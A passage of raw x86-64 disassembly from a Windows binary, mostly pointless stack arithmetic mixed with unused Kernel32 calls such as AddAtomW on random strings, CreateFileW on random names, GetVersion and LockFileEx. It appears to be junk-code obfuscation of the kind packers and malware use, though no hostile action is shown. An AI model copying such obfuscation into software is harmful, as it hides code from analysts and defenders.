mov ecx, dword [rsp + 0x924c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6378], eax
mov eax, dword [rsp + 0xae44]
mov ecx, dword [rsp + 0xab70]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9d8], eax
lea rax, [rsp + 0x6dd]
mov qword [rsp + 0x155d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac64], eax
movzx eax, word [rsp + 0x2b64]
mov rcx, qword [rsp + 0x13de0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x135f8]
mov word [rcx], ax
mov eax, dword [0x140363de4]
mov dword [0x140363f00], eax
mov rax, qword [rsp + 0x13b18]
mov rcx, qword [rsp + 0x13578]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6898], eax
lea rcx, str.gw98Xs0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2ccc], ax
lea rax, [rsp + 0xaabc]
mov qword [rsp + 0x155e0], rax
mov eax, dword [rsp + 0xacb8]
mov ecx, dword [rsp + 0x6674]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x142b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139b0]
movzx eax, byte [rax]
mov byte [rsp + 0x726], al
movzx ecx, word [rsp + 0x2ac8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b8c], ax
movzx eax, word [rsp + 0x28f0]
movzx ecx, word [rsp + 0x2098]
sar eax, cl
mov rcx, qword [rsp + 0x14a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x14410]
mov eax, dword [rax]
mov rcx, qword [0x140363db8]
mov qword [rsp + 0x155e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x155e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x89bc], eax
mov rax, qword [rsp + 0x14888]
mov ecx, dword [rsp + 0x72f8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x154b0]
mov ecx, dword [rsp + 0x8df0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13b68]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8ce0]
mov dword [0x140363f04], eax
mov eax, dword [rsp + 0x6b2c]
mov dword [rsp + 0xaf04], eax
mov rax, qword [rsp + 0x13560]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x712]
sub eax, ecx
mov rcx, qword [rsp + 0x15438]
mov byte [rcx], al
lea rax, [0x140353b08]
mov qword [rsp + 0x155f0], rax
movzx eax, word [rsp + 0x25a4]
movzx ecx, word [rsp + 0x2a30]
or eax, ecx
mov word [rsp + 0x2bd8], ax
lea rdx, [rsp + 0x45ee0]
mov rcx, qword [rsp + 0x13700]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacbc], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14f38]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6cb], al
mov eax, dword [0x14035cc1c]
mov dword [rsp + 0xaf08], eax
mov eax, dword [rsp + 0x9430]
mov ecx, dword [rsp + 0xa8d8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13728]
mov dword [rcx], eax
lea rax, [rsp + 0x6e0]
mov qword [rsp + 0x155f8], rax
movzx eax, word [rsp + 0x2b20]
mov rcx, qword [rsp + 0x14e48]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363af0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d6c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x148b0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6f4c]
mov ecx, dword [rsp + 0xa9e0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15210]
mov dword [rcx], eax
lea rax, [rsp + 0xada4]
mov qword [rsp + 0x15600], rax
mov rax, qword [rsp + 0x14210]
mov rcx, qword [rsp + 0x148c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov dword [rcx], eax
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x15608], rax
lea rcx, str.YIm.NRbWHK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2b94], ax
mov rax, qword [rsp + 0x14570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x594]
add eax, ecx
mov rcx, qword [rsp + 0x14788]
mov byte [rcx], al
mov rax, qword [rsp + 0x14888]
mov rcx, qword [rsp + 0x144c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9674], eax
lea rax, [rsp + 0x8670]
mov qword [rsp + 0x15610], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3535
mov r9d, 0x2d08
mov r8d, 0x2db7d35f
mov edx, 1
mov rcx, qword [rsp + 0x140d8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xacbc], eax
movsx eax, byte [rsp + 0x400]
mov rcx, qword [rsp + 0x14490]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14035e4f6], al
mov rax, qword [rsp + 0x155f0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2c6c]
shl eax, cl
mov word [rsp + 0x2a34], ax
movzx eax, word [rsp + 0x2a84]
movzx ecx, word [rsp + 0x2b00]
xor eax, ecx
mov word [rsp + 0x2430], ax
movzx eax, byte [rsp + 0x211]
movzx ecx, byte [rsp + 0x23b]
and eax, ecx
mov byte [rsp + 0x701], al
mov rax, qword [rsp + 0x140e0]
mov eax, dword [rax]
mov dword [rsp + 0xaf0c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf10], eax
mov r9d, 0x21ba
xor r8d, r8d
lea rdx, [rsp + 0x154c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xabd0], eax
mov rax, qword [rsp + 0x15300]
mov ecx, dword [rsp + 0x7dfc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa9a4], eax
mov rax, qword [rsp + 0x13270]
mov rcx, qword [rsp + 0x14320]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad9c], eax
movzx ecx, word [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
lea rax, [rsp + 0xa920]
mov qword [rsp + 0x15618], rax
mov rax, qword [rsp + 0x139f8]
mov eax, dword [rax]
mov ecx, dword [0x1403639b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14378]
mov dword [rcx], eax
lea rax, [rsp + 0x6e2]
mov qword [rsp + 0x15620], rax
mov rax, qword [rsp + 0x14308]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a84]
add eax, ecx
mov word [0x14035cc74], ax
mov rax, qword [0x140363968]
mov ecx, dword [rsp + 0xaa54]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13d18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14660]
mov rcx, qword [rsp + 0x13fd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7758], eax
mov rax, qword [0x1403639a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xae60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7cac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.kL8eUGIQiMlpyTXK_sPtBgD2D_nrmIfqNSK7
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15628], rax
mov eax, dword [rsp + 0xae5c]
mov ecx, dword [rsp + 0xab38]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x138d8]
mov dword [rcx], eax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x15630], rax
lea rcx, [rsp + 0x41ec8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, byte [rsp + 0x6db]
movzx ecx, byte [rsp + 0x5bb]
sub eax, ecx
mov rcx, qword [rsp + 0x148c8]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c88]
movsx ecx, word [rsp + 0x1fe4]
sub eax, ecx
mov rcx, qword [rsp + 0x13b58]
mov word [rcx], ax
lea rax, [rsp + 0x468]
mov qword [rsp + 0x15638], rax
lea rdx, [rsp + 0x142d0]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa92c], eax
lea rcx, str.JIFF_QRUL4P
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cd0], ax
lea rcx, [rsp + 0x41c28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x13cd8]
mov rcx, qword [rsp + 0x13e30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363b50]
mov dword [rcx], eax
lea rdx, [rsp + 0x14a08]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xad34], eax
lea rcx, str.HxDD.K4Brkj6_J6NA5pre
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cd4], ax
mov eax, dword [rsp + 0xab5c]
mov ecx, dword [rsp + 0x9d60]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b84], eax
lea rax, [rsp + 0x703]
mov qword [rsp + 0x15640], rax
movzx eax, word [0x140362f3c]
movzx ecx, word [rsp + 0x1a40]
shl eax, cl
mov rcx, qword [rsp + 0x14af8]
mov word [rcx], ax
mov rax, qword [rsp + 0x13578]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa8bc]
sar eax, cl
mov dword [rsp + 0xab74], eax
mov rax, qword [rsp + 0x143f0]
mov eax, dword [rax]
mov dword [rsp + 0xaf14], eax
mov rax, qword [0x140363e20]
mov ecx, dword [rsp + 0x9c30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa9f0], eax
mov eax, dword [rsp + 0xaa64]
mov dword [rsp + 0xaf18], eax
lea rdx, [rsp + 0x144e0]
mov rcx, qword [rsp + 0x14ba8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xaa00], eax
movzx eax, byte [rsp + 0x713]
mov rcx, qword [rsp + 0x15220]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6db], al
lea rcx, str.IJ.HUUNVzo6_0
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cd8], ax
movzx eax, word [rsp + 0x2c8c]
mov word [0x140362fc4], ax
lea rax, [rsp + 0xa808]
mov qword [rsp + 0x15648], rax
mov eax, dword [rsp + 0x8428]
mov ecx, dword [rsp + 0xa98c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13c38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bf8]
mov eax, dword [rax]
mov ecx, dword [0x140363a60]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab08], eax
lea rax, [rsp + 0x717c]
mov qword [rsp + 0x15650], rax
mov rax, qword [rsp + 0x148d0]
mov ecx, dword [rsp + 0xaaf8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa3a8], eax
lea rax, [0x14035e48f]
mov qword [rsp + 0x15658], rax
movsx eax, word [rsp + 0x2c88]
movsx ecx, word [rsp + 0x2a2c]
add eax, ecx
mov word [rsp + 0x21a0], ax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a30]
and eax, ecx
mov word [rsp + 0x2a00], ax
mov rax, qword [0x140363a50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d9]
add eax, ecx
mov byte [0x1403535a2], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xad0c], eax
mov rax, qword [rsp + 0x13a28]
mov ecx, dword [rsp + 0x6ae4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7338], eax
mov rax, qword [rsp + 0x14e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x800c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15500]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x727], al
mov rax, qword [rsp + 0x13778]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14d08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x29c8], ax
movzx ecx, word [rsp + 0x29e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a94], ax
mov eax, dword [rsp + 0xabc0]
mov rcx, qword [rsp + 0x14ed8]
mov qword [rsp + 0x15660], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15660]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13690]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x67dc]
shr eax, cl
mov dword [rsp + 0x7ad0], eax
mov rax, qword [rsp + 0x15198]
mov rcx, qword [rsp + 0x153e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15238]
mov dword [rcx], eax
lea rax, [rsp + 0xabc4]
mov qword [rsp + 0x15668], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
lea rax, [rsp + 0x723]
mov qword [0x140363f08], rax
movzx eax, word [rsp + 0x2c78]
mov rcx, qword [rsp + 0x142a8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14330]
mov word [rcx], ax
lea rax, [rsp + 0xacf4]
mov qword [rsp + 0x15670], rax
lea rcx, str.HiQVg_LsZNtz0Wy3QpKt_Cxjv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2cdc], ax
mov rax, qword [rsp + 0x14db0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d90]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14050]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x141f0]
mov rdx, qword [rsp + 0x150f0]
mov rcx, qword [rsp + 0x14118]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xac74], eax
mov rax, qword [rsp + 0x13250]
movsx eax, byte [rax]
mov rcx, qword [0x1403639b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x702], al
lea rax, [rsp + 0x2a04]
mov qword [rsp + 0x15678], rax
movzx eax, byte [rsp + 0x700]
mov rcx, qword [rsp + 0x14e58]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x6f6], al
lea rdx, [rsp + 0x45bd0]
mov rcx, qword [rsp + 0x143a8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaf1c], eax
movzx eax, word [rsp + 0x29c8]
mov word [rsp + 0x2ce0], ax
lea rdx, [rsp + 0x14de0]
mov rcx, qword [rsp + 0x14d00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xac28], eax
mov eax, dword [rsp + 0x7a10]
mov ecx, dword [0x14035cc1c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x13730]
mov rcx, qword [rsp + 0x14760]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140363d20], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15680], rax
mov rax, qword [rsp + 0x13550]
mov rcx, qword [0x140363c48]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13e58]
mov dword [rcx], eax
lea rax, [rsp + 0x874c]
mov qword [rsp + 0x15688], rax
mov eax, dword [rsp + 0xad68]
mov ecx, dword [rsp + 0x8b00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa60], eax
lea rax, [rsp + 0x6fc]
mov qword [rsp + 0x15690], rax
movzx eax, word [rsp + 0x11c4]
movzx ecx, word [rsp + 0x1b9c]
and eax, ecx
mov rcx, qword [rsp + 0x13d98]
mov word [rcx], ax
mov eax, dword [rsp + 0x8904]
mov ecx, dword [rsp + 0xaa28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d18], eax
lea rax, [0x140363a18]
mov qword [rsp + 0x15698], rax
mov rax, qword [rsp + 0x15240]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x765c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c68]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x13730]
mov qword [rsp + 0x156a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156a0]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14035cc78], eax
lea rax, [rsp + 0x2c18]
mov qword [rsp + 0x156a8], rax
mov rax, qword [rsp + 0x140a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15518]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x20a], al
movsx eax, word [rsp + 0x1868]
mov rcx, qword [rsp + 0x13428]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13108]
mov word [rcx], ax
movsx eax, byte [rsp + 0x721]
mov rcx, qword [rsp + 0x13a70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x238], al
mov rax, qword [rsp + 0x146d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaebc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13938]
mov dword [rcx], eax
mov eax, dword [rsp + 0xab2c]
mov dword [rsp + 0xaf20], eax
mov rax, qword [rsp + 0x14bd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x135f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1510], ax
lea rax, [rsp + 0x24b]
mov qword [rsp + 0x156b0], rax
mov eax, dword [rsp + 0x7ad0]
mov dword [0x140363f10], eax
mov rax, qword [rsp + 0x14350]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x80d0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad9c], eax
mov rax, qword [rsp + 0x13c80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x72e4], eax
lea rdx, [rsp + 0x12f98]
mov rcx, qword [rsp + 0x14918]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xa9f4], eax
lea rax, [rsp + 0x7820]
mov qword [rsp + 0x156b8], rax
mov rax, qword [0x140363f08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13630]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x12f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x132f0]
movzx eax, word [rax]
mov word [rsp + 0x2ce4], ax
mov rax, qword [rsp + 0x14410]
mov rcx, qword [rsp + 0x152b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa914]
mov ecx, dword [0x14035cbf0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad58], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.ozwaLSO2F0Qu
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x156c0], rax
lea rax, [rsp + 0xa8cc]
mov qword [rsp + 0x156c8], rax
mov rax, qword [rsp + 0x14680]
mov rcx, qword [rsp + 0x13f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140363a70], eax
mov rax, qword [0x140363ee8]
mov ecx, dword [rsp + 0xa1bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xab5c], eax
movsx eax, word [rsp + 0x2af8]
movsx ecx, word [rsp + 0x2a3c]
sar eax, cl
mov word [rsp + 0x2718], ax
movzx ecx, word [rsp + 0x2b70]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cd8], ax
mov rax, qword [rsp + 0x14bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x15458]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x714], al
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f08]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x14968]
mov word [rcx], ax
mov rax, qword [rsp + 0x14488]
movzx eax, byte [rax]
mov byte [rsp + 0x728], al
lea rdx, [rsp + 0x45f18]
mov rcx, qword [rsp + 0x14da8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa9d0], eax
mov eax, dword [rsp + 0xae94]
mov ecx, dword [rsp + 0x7a90]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14da0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae74], eax
lea rax, [rsp + 0x9f08]
mov qword [rsp + 0x156d0], rax
movzx eax, word [rsp + 0x2ba4]
movzx ecx, word [rsp + 0x28f0]
and eax, ecx
mov word [rsp + 0x2c7c], ax
mov rax, qword [0x140363b78]
movzx eax, byte [rax]
mov byte [0x14035e544], al
lea rax, [rsp + 0xaed0]
mov qword [rsp + 0x156d8], rax
mov eax, dword [rsp + 0x89b8]
mov ecx, dword [rsp + 0xa998]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f50]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x15368]
mov rcx, qword [0x1403639f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7dac], eax
mov rax, qword [rsp + 0x13a10]
mov ecx, dword [rsp + 0xa938]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6288], eax
movzx eax, word [rsp + 0x29c0]
movzx ecx, word [rsp + 0x2ac4]
sub eax, ecx
mov word [rsp + 0x2554], ax
lea rax, [0x14035e4f4]
mov qword [rsp + 0x156e0], rax
mov eax, dword [rsp + 0xa8fc]
mov ecx, dword [rsp + 0xabec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14898]
mov rcx, qword [0x140363e20]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xacd8], eax
movzx ecx, word [rsp + 0x29e0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2a24], ax
mov rax, qword [rsp + 0x13a98]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a9c]
or eax, ecx
mov word [0x140362d84], ax
movzx eax, byte [rsp + 0x718]
mov byte [rsp + 0x729], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaf24], eax
mov rax, qword [rsp + 0x14738]
movzx eax, word [rax]
movzx ecx, word [0x14035cc28]
add eax, ecx
mov word [rsp + 0x25a4], ax
lea rax, [rsp + 0x5c7]
mov qword [rsp + 0x156e8], rax
mov rax, qword [rsp + 0x14468]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xacb0]
shr eax, cl
mov dword [rsp + 0xad3c], eax
mov r9d, 2
lea r8, [rsp + 0x14010]
mov rdx, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x14088]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaea4], eax
mov eax, dword [rsp + 0xaef0]
movzx ecx, al
mov eax, dword [rsp + 0xa664]
shl eax, cl
mov rcx, qword [rsp + 0x14508]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaaa8]
mov dword [rsp + 0xaf28], eax
mov rax, qword [rsp + 0x14338]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab58]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6874], eax
mov rax, qword [rsp + 0x149b0]
mov ecx, dword [rsp + 0xaca8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6514], eax
movzx eax, word [rsp + 0x2098]
mov rcx, qword [rsp + 0x14450]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2c30], ax
mov r9d, 0x26b0
xor r8d, r8d
lea rdx, [rsp + 0x13bc0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xaf2c], eax
mov rax, qword [rsp + 0x13788]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x133c0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140353597], al
mov rax, qword [rsp + 0x13ca0]
mov ecx, dword [rsp + 0xa9c8]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14958]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13840]
mov eax, dword [rax]
mov dword [rsp + 0xaf30], eax
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0xab2c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x73a8], eax
mov rax, qword [rsp + 0x13248]
mov rcx, qword [rsp + 0x15548]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x86b0], eax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [rsp + 0x14db8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1008], ax
mov rax, qword [0x1403639c8]
movzx eax, byte [rax]
mov byte [rsp + 0x72a], al
mov rax, qword [rsp + 0x13390]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x712]
sub eax, ecx
mov rcx, qword [rsp + 0x136a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x2c90]
mov rcx, qword [rsp + 0x13378]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2aec], ax
lea rax, [rsp + 0xacb0]
mov qword [0x140363f18], rax
mov eax, dword [rsp + 0x9d60]
mov dword [rsp + 0xaf34], eax
mov rax, qword [rsp + 0x13768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b2c]
add eax, ecx
mov word [rsp + 0x2548], ax
movzx eax, byte [0x14035e4d5]
mov rcx, qword [rsp + 0x15048]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x369], al
mov eax, dword [rsp + 0xaf30]
mov rcx, qword [rsp + 0x14cb8]
mov qword [rsp + 0x156f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x156f0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x133f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7a90]
movzx ecx, al
mov eax, dword [rsp + 0x9e80]
shr eax, cl
mov rcx, qword [rsp + 0x15548]
mov dword [rcx], eax
mov eax, dword [rsp + 0x73d0]
mov dword [rsp + 0xaf38], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67e4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xaf04], eax
lea rax, [rsp + 0x6f7]
mov qword [rsp + 0x156f8], rax
mov rax, qword [rsp + 0x13758]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x19f8]
and eax, ecx
mov rcx, qword [0x140363a40]
mov word [rcx], ax
mov rax, qword [rsp + 0x156d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x143d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13bf8]
mov rcx, qword [rsp + 0x13b10]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x139f0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9d60]
mov ecx, dword [rsp + 0xae1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c00], eax
mov r9d, 1
lea r8, [rsp + 0x13058]
mov rdx, qword [rsp + 0x13e28]
mov rcx, qword [rsp + 0x14ba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xacec], eax
mov rax, qword [rsp + 0x15358]
mov rcx, qword [rsp + 0x13b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa804], eax
mov rax, qword [0x140363c70]
mov eax, dword [rax]
mov dword [rsp + 0xaf3c], eax
movzx ecx, word [rsp + 0x2b84]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ce8], ax
